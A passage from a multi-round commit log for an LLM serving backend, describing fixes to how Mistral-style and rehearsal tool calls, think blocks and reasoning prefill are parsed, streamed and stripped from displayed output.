leaks the raw markup (strip) when the greedy match runs past the
call's closer.
- tool_healing: strip the orphan Mistral v11 [/TOOL_CALLS] closer left
behind after the balanced scan removes the call body. Add a route arm
for the same closer in _TOOL_XML_RE / _TOOL_XML_CLOSED_RE.
- safetensors + llama_cpp streaming strip: run the open-ended (EOS
anchored) tail patterns only on the last segment; segments before a
reasoning block use the closed-only patterns, matching the final
strip and the route strip. A bare foo[ARGS] before a reasoning block
is prose, not a truncated call.
- safetensors streaming detector: validate each [ARGS] hit before
draining. A bare foo[ARGS] in prose (no active tool name in front)
no longer drains the rest of the turn; a later real NAME[ARGS] call
is still found and the prose in between is preserved.
Regression tests added for each case across the parser, strip helpers,
and both streaming loops.
* Strip incomplete-XML tool markup with literal think tags; widen render-html detector
Round-2 review follow-ups.
- tool_healing: an UNCLOSED <tool_call> / <function= call that the parser still
executes via allow_incomplete leaked its markup when an argument contained a
literal think marker. _tool_call_markup_spans only covered closed calls, so the
literal was treated as a reasoning block to preserve. Extend it to the
open-ended XML tail forms (shared as _TOOL_OPEN_XML_TAIL_PATS) so a think marker
inside an unclosed call is argument data and the call's markup is stripped. A
complete call's opener stays bounded to its closed span, and a real reasoning
block with no tool call is still preserved.
- safetensors render-html provisional card: _detect_render_html_tool_start was
XML-only, so a Mistral [TOOL_CALLS]render_html or rehearsal render_html[ARGS]
call executed but skipped the early card. Detect the earliest tool-call marker
across every serialization the loop executes and fire when it is render_html.
Regression tests added for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: gate [ARGS] on active tools and skip think-block render_html rehearsal
Round 3 review fixes for the Mistral / rehearsal tool-call parsing path. Both are
asymmetric-fix bugs where one code path applied a guard the analogous paths did not.
- [ARGS] active-tool gating: the streaming state already validates a rehearsal
NAME[ARGS] against the active tool list before draining, but the BUFFERING
detection and the end-of-stream safety-net checks (safetensors and GGUF) treated
any word[ARGS] substring as a tool boundary. An answer containing a literal
foo[ARGS]{...} in prose, where foo is not an enabled tool, was drained, parsed into
a disabled foo no-op, and forced an extra generation turn. Gate those checks on the
active tool name too (unrestricted mode still accepts any name), so inactive-name
prose is neither drained nor parsed. Adds a shared _has_genuine_tool_signal helper
(safetensors) and _gguf_rehearsal_signal_pos / _gguf_has_genuine_tool_signal (GGUF).
- render_html provisional card vs think blocks: the parser skips tool candidates that
start inside a <think>/[THINK] reasoning block, but the provisional render_html
detector scanned raw content. A render_html rehearsed inside <think> followed by a
real non-render_html call emitted a provisional render_html tool_start (reusing the
later call's id) that the loop never executed. Drop candidates that start inside a
think span and use the first marker of each shape outside the blocks. Also resolve
the [TOOL_CALLS] [{...}] array shape through the parser so a nested "name" argument
key no longer fires a false provisional card ahead of the real top-level tool name.
Adds regression tests for both loops: inactive-name foo[ARGS]{...} is not drained into
a disabled no-op or a retry turn, a think-block render_html rehearsal emits no
provisional card, and the array top-level name is read correctly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate ambiguous bare-rehearsal parse and strip on the active tool list
A bare NAME[ARGS]{json} is a genuine rehearsal call only when NAME is an
active tool; otherwise it is prose. The earlier round gated only detection
(so an inactive foo[ARGS] no longer drained the buffer or forced a retry
turn), but the parse and strip stayed unrestricted, which produced two
regressions:
1. An inactive foo[ARGS]{...} placed immediately before a real
web_search[ARGS]{...} in the same content span made the real call fail
to execute (parse consumed the phantom foo call).
2. An inactive foo[ARGS]{...} in a prose answer had its markup stripped
from the visible text, corrupting the sentence to " is just syntax."
Thread enabled_tool_names through the shared parser/strip so parse and
strip apply the SAME active-tool gate as detection:
- core/tool_healing.py: _iter_bracket_spans skips an inactive rehearsal
span; parse_tool_calls_from_text, _strip_bracket_tag_calls,
_strip_markup_segment and strip_tool_call_markup accept and thread the
gate; apply_tool_strip_patterns keeps an inactive rehearsal match.
- core/inference/tool_call_parser.py: wrappers forward the gate.
- core/inference/safetensors_agentic.py and core/inference/llama_cpp.py:
compute the gate from the active tool list (None when unrestricted, to
keep the legacy strip-all behavior) and thread it into every parse and
streaming/final strip site.
- routes/inference.py: _strip_tool_xml_for_display accepts the gate and
keeps an inactive rehearsal via a capture group on its rehearsal arm, so
the display cleanup does not re-strip the already-correct loop output.
The [TOOL_CALLS] control-token arms still strip unconditionally. Wire
the current turn's active tool names into the GGUF and safetensors
content-display sites.
Tests: parse and strip gate coverage in test_tool_call_parser_strict.py,
test_tool_xml_strip.py and test_safetensors_tool_loop.py; end-to-end GGUF
coverage for the real-call-after-inactive-rehearsal case and a
strengthened assertion that the inactive rehearsal prose survives intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: render the reasoning block for safetensors and MLX like GGUF
enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.
- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
inside the reasoning block and splits on the first </think>; default False
keeps GGUF and every existing caller byte-identical. It suppresses a stray
re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
request, an enable_thinking or enable_thinking_effort style, and the template
actually using the standard <think>/</think> markers. Models with a bespoke
reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
through the extractor, emitting reasoning_content then content deltas, with a
per-turn reset in the tool loop and a flush before each tool_start; only the
visible delta reaches the monitor reply. The two non-streaming drains split
reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
including the gemma-style exclusion, and a route-replay of the tool-loop
reasoning stream.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: skip tool calls rehearsed in prefilled reasoning
Reasoning models (Qwen3.5 enable_thinking) open <think> in the prompt, so the
generated text starts inside the thought and emits only a closing </think> with
no opener. _think_spans_outside_tool_markup only found spans with an explicit
opener, so a NAME[ARGS]{...} or [TOOL_CALLS] call rehearsed in that leading
thought was parsed and executed as a real call.
Add a leading think span (offset 0 through the first close marker) when the
content opens with a bare close, so the rehearsed call is skipped and the
reasoning is preserved by strip_outside_think. Guarded by the existing call-span
check: a literal </think> inside a real call's arguments does not trigger the
span, so a genuine leading call still fires. Tests for both cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: do not start prefilled reasoning mode when reasoning_effort is none
enable_thinking_effort models (e.g. GLM-5.2) express thinking-off via
reasoning_effort="none" rather than enable_thinking=False, but
_sf_reasoning_prefill_mode only looked at enable_thinking, so such a request
started the extractor in prefilled mode. With thinking off the model never emits
</think>, so the whole answer was captured as reasoning_content and the visible
content/stream came back empty. Thread reasoning_effort through and return False
when it is "none". Tests for none vs a real effort level.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: only treat a leading bare </think> as prefilled reasoning when a real call follows
The prefilled-reasoning virtual span fired on any unmatched leading close marker,
so a non-prefilled turn that emits a real call before a stray </think> (for
example "Now web_search[ARGS]{...}</think> answer") had the call swallowed by the
span and dropped. Require that a real tool call also appear after the close (the
actual turn that follows the thought) before adding the span, so a stray close in
a normal answer no longer suppresses a genuine leading call. The rehearse-then-
call case still skips the rehearsal. Test for the stray-close case.
* Studio: trim redundant comments (comment-only, AST-verified)
* studio: keep tool_healing importable on Python 3.9
_balanced_json_span was annotated -> int | None. With no
from __future__ import annotations, that PEP 604 union is evaluated at
import time, so on Python 3.9 (which the package still supports,
requires-python >=3.9, and where external inference servers import this
module standalone) the def raises TypeError and the whole module fails
to import before any parsing runs.
Add from __future__ import annotations so annotations stay lazy strings,
matching the prevailing convention across studio/backend. No behavior
change: the module has no runtime annotation introspection.
* Studio: gate the Anthropic tool-stream display strip on declared tools
The Anthropic streaming and non-streaming tool paths called
_strip_tool_xml_for_display without enabled_tool_names, so with the default
strip-all behavior a final answer that literally contains an inactive-name
NAME[ARGS]{json} (prose, not a call) lost those bytes in the delivered text.
The GGUF and safetensors paths already pass _display_tool_name_gate(tools);
these two sites were missed when that gate was threaded through.
Compute the gate from the declared tools and pass it at both sites (threading
openai_tools into _anthropic_tool_non_streaming and its caller), so an
inactive-name rehearsal survives while an active-name one is still stripped.
Add a regression test.
* Studio: hold a split unrestricted rehearsal prefix at the bracket
In unrestricted tool mode (tools=[]) the rehearsal-prefix regex required
[A after the bracket, so a chunk boundary landing right after NAME[ (e.g.
web_search[ then ARGS]{...}) failed the prefix check and streamed the
partial tool markup web_search[ to the client before the call drained.
Restricted mode already holds this via a startswith check. Make the bracket
and each ARGS letter individually optional so NAME[ is held too, matching
the documented intent. Add a regression test.
* Studio: gate rehearsal detection and history strip on the original tool set
Two display/loop gate fixes so a spent one-shot tool is handled consistently:
- Rehearsal DETECTION (safetensors and GGUF loops) now uses the ORIGINAL tool
list, matching the strip gate, instead of the post-removal active_tools. After a
one-shot tool (render_html) runs it is dropped from active_tools; a repeat
render_html[ARGS]{...} while another tool is still active was stripped from
display yet never detected, so it was not routed to the render_html_repeat no-op
and the turn ended as a blank continuation. Detection now fires for it.
- The GGUF assistant-history sanitiser forwards the enabled-tool-name gate (like
the live-response strip), so a prior turn documenting an inactive foo[ARGS]{...}
shape is preserved in the replayed prompt context instead of being deleted.
Add regression tests for both loops and the history strip.
* Studio: thread the tool-name gate through the remaining rehearsal/history sites
Follow-up to the rehearsal-detection and history-strip gate fixes, covering the
sibling sites that were missed:
- GGUF loop: the rehearsal-prefix and trailing-name hold checks now use the
original tool list (_detect_tools) like the detection path, so a spent one-shot's
split repeat (bare render_html then [ARGS]{...}) is held instead of flushed as
visible text.
- The safetensors and Anthropic assistant-history sanitisers and the Anthropic
non-streaming passthrough now forward the enabled-tool-name gate to
_strip_tool_xml_for_display, matching the GGUF history sanitiser and the live
strips, so a prior turn documenting an inactive foo[ARGS]{...} example is
preserved in the replayed prompt / final text instead of deleted.
Add regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tile bracket-call spans per array item and include the v11 closer
Two with_spans fixes for the Mistral bracket parser, both hit through the
client-tool passthrough healers:
- A multi-call [TOOL_CALLS] array carried its whole markup span on the first
call and zero-width spans after, so a consumer that filters promotions by
the declared tool set either re-emitted the full raw array as text next to
the promoted call or silently dropped a filtered call's bytes. The region is
now tiled across the call-producing items (each call's span covers its own
JSON object plus the separator bytes before it; the last span runs to the
region end), so promoted markup strips exactly once and a skipped call's
bytes stay visible.
- The v11 wrapper closer [/TOOL_CALLS] sat outside the reported span and
leaked as stray text after promotion; the region now extends over an
immediately-following closer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: decouple healer signals from the loop signal set
The passthrough healer buffered on every TOOL_XML_SIGNALS entry, so the bare
[ARGS] rehearsal marker this branch adds for the loops (where it is gated on
active tool names) put legitimate prose like 'Use foo[ARGS] in templates'
into the holding state and stalled the stream until finalization. The healer
can never promote a bare rehearsal call, so it now buffers only on formats
its parser promotes: <tool_call>, <|tool_call>, <function=, [TOOL_CALLS].
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Condense comments in the Mistral tool-call rescue to contract essentials
* verify_import_hoist: exempt __future__ imports and same-diff relocations
Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.
* Drain the whole Mistral [TOOL_CALLS] array in streaming passthrough healing
StreamToolCallHealer._drain promoted only the first parsed call per pass and
dropped the rest of the buffer past that one span. For a well-formed Mistral
parallel-tool-call array streamed through client-tool passthrough
([TOOL_CALLS][{...},{...}]), the per-item spans are contiguous, so after the
first call was promoted the residue began with ,{...}] (no leading signal) and
was flushed as raw text: every call after the first was lost.
_drain now walks the contiguous run of parsed calls (adjacent tiled spans =
one array), promoting each declared call and relaying undeclared ones as data,
and stops at the first gap (prose) or incomplete trailing block so separate
blocks still stream incrementally in document order. This mirrors the
non-streaming heal_openai_message / finalize promote-or-flush loop and the
server-side safetensors loop, which already handled multi-call arrays.
Added regression tests: 2-call array in one feed and char-by-char, an
undeclared middle call kept as text, and an array followed by trailing prose.
* Drain comma-less Mistral tool-call arrays and normalize null arguments
The array branch fed the whole body to a single json.loads, which rejects the
comma-less multi-call form the repo's own Mistral/Ollama templates render (the
range loop in ollama_template_mappers.py emits the objects with no separator) and
so dropped every call. Decode elements individually with the existing
comma-tolerant raw_decode helper, now _decode_array_items, which also returns the
objects, so all calls are recovered while the span tiling is unchanged.
Also normalize a non-object array argument such as arguments null to an empty
object, matching the wrapped tool_call path, instead of serializing None to the
string "null" that auto-heal would turn into a bogus query of "null".
* Gate safetensors reasoning prefill on the rendered generation prompt
reasoning_always_on fires on any paired <think></think> in the template,
including markup that only renders PAST assistant history (Kimi-K2-Thinking)
while the generation prompt opens no <think>. Starting the reasoning extractor
in prefilled mode there captured a normal answer entirely as reasoning_content
and returned blank visible content. Prefill only when rendering the generation
prompt actually leaves <think> open (DeepSeek-R1 / QwQ / Qwen3-Thinking);
history-only templates start the extractor in normal mode and parse the model's
own <think>...</think>. Adds a Kimi-shape regression test.
* Keep bare scalar Mistral array arguments raw instead of double-encoding
A scalar string argument in the canonical Mistral [TOOL_CALLS] array
(for example [TOOL_CALLS][{"name":"web_search","arguments":"weather"}])
was run through json.dumps, turning weather into the JSON string
"weather". The downstream argument healer then wrapped that quoted
form, so a single-string tool like web_search searched for the literal
"weather" with quotes. The <tool_call> path already keeps a scalar
argument raw; mirror it here so only a dict is serialized. Add a
regression test asserting both paths yield the same healed arguments.
* Tighten tool-call rescue and reasoning-prefill comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Nilay